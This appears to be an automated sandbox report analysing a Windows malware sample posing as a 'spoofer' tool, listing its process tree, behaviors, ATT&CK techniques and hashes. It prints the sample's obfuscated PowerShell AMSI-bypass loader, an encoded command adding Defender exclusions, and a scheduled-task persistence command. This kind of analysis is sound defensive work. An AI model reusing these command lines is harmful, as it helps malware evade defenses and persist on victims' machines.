description pid Process procid_target PID 1180 wrote to memory of 3612 1180 Bl4ckt0r Spoofer.exe 88 PID 1180 wrote to memory of 3612 1180 Bl4ckt0r Spoofer.exe 88 PID 1180 wrote to memory of 3612 1180 Bl4ckt0r Spoofer.exe 88 PID 1180 wrote to memory of 3468 1180 Bl4ckt0r Spoofer.exe 90 PID 1180 wrote to memory of 3468 1180 Bl4ckt0r Spoofer.exe 90 PID 1180 wrote to memory of 3468 1180 Bl4ckt0r Spoofer.exe 90 PID 1180 wrote to memory of 3080 1180 Bl4ckt0r Spoofer.exe 92 PID 1180 wrote to memory of 3080 1180 Bl4ckt0r Spoofer.exe 92 PID 1180 wrote to memory of 3080 1180 Bl4ckt0r Spoofer.exe 92 PID 3080 wrote to memory of 1756 3080 x69M5tLLoveYOU (1) (1).exe 95 PID 3080 wrote to memory of 1756 3080 x69M5tLLoveYOU (1) (1).exe 95 PID 3080 wrote to memory of 1756 3080 x69M5tLLoveYOU (1) (1).exe 95 PID 3080 wrote to memory of 1840 3080 x69M5tLLoveYOU (1) (1).exe 96 PID 3080 wrote to memory of 1840 3080 x69M5tLLoveYOU (1) (1).exe 96 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 3928 wrote to memory of 4384 3928 powershell.EXE 101 PID 4384 wrote to memory of 612 4384 dllhost.exe 5 PID 4384 wrote to memory of 672 4384 dllhost.exe 7 PID 4384 wrote to memory of 956 4384 dllhost.exe 12 PID 4384 wrote to memory of 60 4384 dllhost.exe 13 PID 4384 wrote to memory of 440 4384 dllhost.exe 14 PID 4384 wrote to memory of 652 4384 dllhost.exe 15 PID 4384 wrote to memory of 1040 4384 dllhost.exe 16 PID 4384 wrote to memory of 1068 4384 dllhost.exe 17 PID 4384 wrote to memory of 1204 4384 dllhost.exe 19 PID 4384 wrote to memory of 1216 4384 dllhost.exe 20 PID 4384 wrote to memory of 1284 4384 dllhost.exe 21 PID 4384 wrote to memory of 1300 4384 dllhost.exe 22 PID 4384 wrote to memory of 1360 4384 dllhost.exe 23 PID 4384 wrote to memory of 1404 4384 dllhost.exe 24 PID 4384 wrote to memory of 1492 4384 dllhost.exe 25 PID 4384 wrote to memory of 1504 4384 dllhost.exe 26 PID 4384 wrote to memory of 1520 4384 dllhost.exe 27 PID 4384 wrote to memory of 1632 4384 dllhost.exe 28 PID 4384 wrote to memory of 1708 4384 dllhost.exe 29 PID 4384 wrote to memory of 1748 4384 dllhost.exe 30 PID 4384 wrote to memory of 1804 4384 dllhost.exe 31 PID 4384 wrote to memory of 1820 4384 dllhost.exe 32 PID 4384 wrote to memory of 1892 4384 dllhost.exe 33 PID 4384 wrote to memory of 1900 4384 dllhost.exe 34 PID 4384 wrote to memory of 1980 4384 dllhost.exe 35 PID 4384 wrote to memory of 2008 4384 dllhost.exe 36 PID 4384 wrote to memory of 1512 4384 dllhost.exe 37 PID 4384 wrote to memory of 2100 4384 dllhost.exe 39 PID 4384 wrote to memory of 2240 4384 dllhost.exe 40 PID 4384 wrote to memory of 2272 4384 dllhost.exe 41 PID 4384 wrote to memory of 2392 4384 dllhost.exe 42 PID 4384 wrote to memory of 2400 4384 dllhost.exe 43 PID 4384 wrote to memory of 2556 4384 dllhost.exe 44 PID 4384 wrote to memory of 2564 4384 dllhost.exe 45 PID 4384 wrote to memory of 2732 4384 dllhost.exe 46 PID 4384 wrote to memory of 2780 4384 dllhost.exe 47 PID 4384 wrote to memory of 2792 4384 dllhost.exe 48 PID 4384 wrote to memory of 2800 4384 dllhost.exe 49 PID 4384 wrote to memory of 2816 4384 dllhost.exe 50 PID 4384 wrote to memory of 2824 4384 dllhost.exe 51 PID 4384 wrote to memory of 2904 4384 dllhost.exe 52 PID 4384 wrote to memory of 3068 4384 dllhost.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d22e764f-7acf-4e29-a850-d521936f953d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4384
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1216 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BhvBlhypCepg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ejnVkctzwrUIIs,[Parameter(Position=1)][Type]$AlDhaYmEoj)$MRVaHyjvaoW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+''+[Char](101)+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'li'+'c'+''+[Char](44)+'S'+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+'A'+[Char](110)+''+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$MRVaHyjvaoW.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+','+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$ejnVkctzwrUIIs).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+',M'+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$MRVaHyjvaoW.DefineMethod(''+[Char](73)+''+[Char](110)+'vo'+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+'e'+'w'+'S'+''+[Char](108)+'ot,'+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$AlDhaYmEoj,$ejnVkctzwrUIIs).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $MRVaHyjvaoW.CreateType();}$ViHfkWxnnzdzR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+'s'+[Char](111)+'f'+[Char](116)+'.'+[Char](87)+''+'i'+''+[Char](110)+'3'+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$mrDiQPGlZXgLdp=$ViHfkWxnnzdzR.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+''+'d'+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$spsVYlxYnjgmbNICDhH=BhvBlhypCepg @([String])([IntPtr]);$pQAELmsYofglrhnBUYaSAc=BhvBlhypCepg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zrUKTWPHfjG=$ViHfkWxnnzdzR.GetMethod('G'+'e'+'tM'+[Char](111)+''+'d'+''+'u'+''+'l'+''+[Char](101)+'H'+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$zOZuGHAGMTvRyQ=$mrDiQPGlZXgLdp.Invoke($Null,@([Object]$zrUKTWPHfjG,[Object](''+'L'+''+'o'+''+[Char](97)+'d'+'L'+'i'+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$IWnrGOGePcpfFstRo=$mrDiQPGlZXgLdp.Invoke($Null,@([Object]$zrUKTWPHfjG,[Object](''+[Char](86)+''+'i'+'rtu'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+'t'+'e'+'c'+[Char](116)+'')));$eHqGbZT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zOZuGHAGMTvRyQ,$spsVYlxYnjgmbNICDhH).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+'d'+''+[Char](108)+'l');$MbmRodTPkvTMpiiZG=$mrDiQPGlZXgLdp.Invoke($Null,@([Object]$eHqGbZT,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$pQmasBJAgt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IWnrGOGePcpfFstRo,$pQAELmsYofglrhnBUYaSAc).Invoke($MbmRodTPkvTMpiiZG,[uint32]8,4,[ref]$pQmasBJAgt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MbmRodTPkvTMpiiZG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IWnrGOGePcpfFstRo,$pQAELmsYofglrhnBUYaSAc).Invoke($MbmRodTPkvTMpiiZG,[uint32]8,0x20,[ref]$pQmasBJAgt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+'A'+''+[Char](82)+''+'E'+'').GetValue('x'+'6'+''+[Char](57)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1492
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1520
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C:\Windows\system32\sihost.exesihost.exe2⤵
- Modifies registry class
PID:2564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2008
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2732
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2904
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3068
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3432
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3500 -
C:\Users\Admin\AppData\Local\Temp\Bl4ckt0r Spoofer.exe"C:\Users\Admin\AppData\Local\Temp\Bl4ckt0r Spoofer.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAeQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAaQBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAdgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAdgBkACMAPgA="3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Spoofer.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:3468 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1432
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C:\Users\Admin\AppData\Local\Temp\x69M5tLLoveYOU (1) (1).exe"C:\Users\Admin\AppData\Local\Temp\x69M5tLLoveYOU (1) (1).exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1756
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C:\Users\Admin\AppData\Local\Temp\x69s.exe"C:\Users\Admin\AppData\Local\Temp\x69s.exe"4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1840 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x69XClient" /tr "C:\Users\Admin\AppData\Roaming\x69XClient.exe"5⤵
- Scheduled Task/Job: Scheduled Task
PID:468 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3636
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3816
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4036
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3656
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1976
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:2260
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4768
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1928
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:1396
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3908
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 81b8f00c3c3b213d680d8682e8bbe03d Ct0KpGxUnkSOryfPwHVUHg.0.1.0.0.01⤵
- Sets service image path in registry
PID:4904 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:4932
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4084
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4680
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:5028
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
1Replay Monitor
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Downloads
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Filesize
164KB
MD5a6807422fd83a9382cc5f68f89e94320
SHA107cf4f4a5c2d3c869e9cc0df44d7899319feefac
SHA256e57cbfc23aaab3ed48007438f9b6fc34aa42ec1c8c73329a2f98ec61fb81c53f
SHA512efeec122de9dc32c69dc03576aad8c7d11ab5f35f7869bd25af525d6daf2446fbb55902c9160220f79fcb8908fcc3a1778246fa63a53b2e9e15af061a3b0b36c
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Filesize
254B
MD5fd9550000c956a8e51fe250dd3082904
SHA1342b864b558b89a2e287293fe9e3eb3ad74278b9
SHA256a4799c20861c842dad49274dd53bd0801012ab2d2c537879605a6de48fa93d89
SHA5127fe038c629fe362d4ce22aff205fdf83407ce257c0b43e1e488be255af92edf37752bc7e1373f4d3ab1017e507d0aaec67a4e5b0f765104414f20c630125f7ee
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2.3MB
MD5d2d0f9a333b3a012ecd8a870fe1acb66
SHA1dd91a5b0950bdd462c8b7423714b484fdc751529
SHA256440c002f4b02f1e2bacafaaca07e57c53bf65b949a284bae677e9916bb1502f0
SHA512405c3a7f9141af974f5c5308173590b29a7ff57520afeaed9311846d1f5bdd41ea88d239f9f02b9a2c8b3e9f512840927509b4e330cf263cd448d59b071dab0b
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Filesize
61KB
MD5be3c3be84ff9045490a0e4c113a63e92
SHA1489b4016e9dcc129c8411e6fb4b5f2008b2c3e33
SHA25613681d4793560ff1f074271f8467eba1beb694a638f366abca7d264c6e64b323
SHA512261037f800f863fdd81a209a47f6dd2370a06ed4bd0be895daba03837a13f8c74a4270f89da30e98f1f09a18d5d54120d83d0596ac9ddb0cf83bb41130e08141
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4